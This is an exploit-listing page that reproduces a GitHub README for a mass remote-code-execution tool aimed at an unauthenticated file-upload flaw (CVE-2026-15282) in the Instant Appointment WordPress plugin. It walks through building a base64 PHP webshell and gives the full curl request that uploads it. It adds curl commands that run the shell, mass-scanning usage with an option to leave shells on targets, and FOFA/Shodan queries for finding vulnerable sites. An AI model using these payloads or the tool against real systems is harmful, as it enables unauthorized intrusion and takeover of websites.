Sploitus

Exploit for CVE-2026-15282

githubexploit Β· 2026-07-11

Exploit Code

README167 lines
## https://sploitus.com/exploit?id=68735ADF-6936-5214-B6B6-0391E83FB363
<p align="center">
  <img src="https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white">
  <img src="https://img.shields.io/badge/CVE-2026--15282-CC0000?style=flat-square">
  <img src="https://img.shields.io/badge/CVSS-9.8_CRITICAL-CC0000?style=flat-square">
  <img src="https://img.shields.io/badge/license-MIT-97CA00?style=flat-square">
</p>

<h3 align="center">CVE-2026-15282 β€” Instant Appointment Mass RCE Exploit</h3>
<h4 align="center">Pre-Auth file_get_contents() + file_put_contents() β†’ PHP Webshell</h4>

---

## Overview

**CVE-2026-15282** is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the **Instant Appointment** WordPress plugin (≀ 1.2).

The `add_service_front` AJAX action is registered via `wp_ajax_nopriv_` for unauthenticated access. The handler passes user-supplied `image_url` and `image_name` directly to `file_get_contents()` and `file_put_contents()` without any file type or extension validation.

### Affected Versions

| Version | Status |
|---|---|
| ≀ 1.2 | Vulnerable |
| > 1.2 | No patch available β€” remove the plugin |

---

## Vulnerability Mechanism

### Root Cause

```php
// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
    $image_data = file_get_contents($image_url);       // downloads from ANY URL
    $file = $upload_dir['path'] . '/' . $file_name;    // uses attacker's filename
    file_put_contents($file, $image_data);             // no extension check!
}
```

The AJAX handler accepts any `image_url` (including `data://` URIs) and writes to any `image_name` directly into the WordPress uploads directory.

### Attack Flow

```
POST /wp-admin/admin-ajax.php?action=add_service_front
  image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
  image_name=think_xxx.php
β†’ PHP webshell written to wp-content/uploads/YYYY/MM/think_xxx.php
β†’ RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id
```

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt
```

## Usage

```bash
python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup
```

### Arguments

```
  -t, --target      Single target
  -f, --file        Target list
  -o, --output      Save RCE URLs to file
  --threads         Workers (default: 25)
  --no-cleanup      Leave shells on target
  --debug           Show every request
  -v, --verbose     Verbose output
```

---

## Proof of Concept

### Single Target

```bash
$ python cve_2026_15282.py -t target.com
```

```
  β ‹ Scanning target...  β†’  OK Scanning target...

  Host       : target.com
  Plugin     : YES
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
  Output     : uid=33(www-data) gid=33(www-data)
```

### Mass Scan

```
  [.] current-target.com | β ‹ [β–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘] 45/500 (9%) Plugin:12 UP:3 RCE:1
  [RCE] target.com   https://target.com/wp-content/uploads/2026/07/think_xxx.php
```

### Manual Exploitation

```bash
# 1. Create base64-encoded PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0

# 2. Upload via AJAX
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=add_service_front' \
  -d 'service_name=test' \
  -d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
  -d 'image_name=shell.php' \
  -d 'image_size=100' \
  -d 'image_type=image/jpeg' \
  -d 'service_price_sale=1' \
  -d 'service_price_reg=1' \
  -d 'service_category[]=1' \
  -d 'service_duration=60' \
  -d 'service_author=1'

# 3. Access shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'
```

---

## FOFA / Shodan

```
FOFA:   body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"
```

---

## Disclaimer

> FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

---

## References

| Resource | Link |
|---|---|
| WPScan | [wpscan.com/vulnerability/b3457e95](https://wpscan.com/vulnerability/b3457e95-4299-4ac2-b538-99a98c93bf77/) |
| Wordfence | [wordfence.com](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/instant-appointment/instant-appointment-12-unauthenticated-arbitrary-file-upload) |
| NVD | [CVE-2026-15282](https://nvd.nist.gov/vuln/detail/CVE-2026-15282) |
| Researcher | Random Robbie (What Security) |

---

<p align="center">
  <sub>Not affiliated with tenteeglobal or Instant Appointment.</sub>
</p>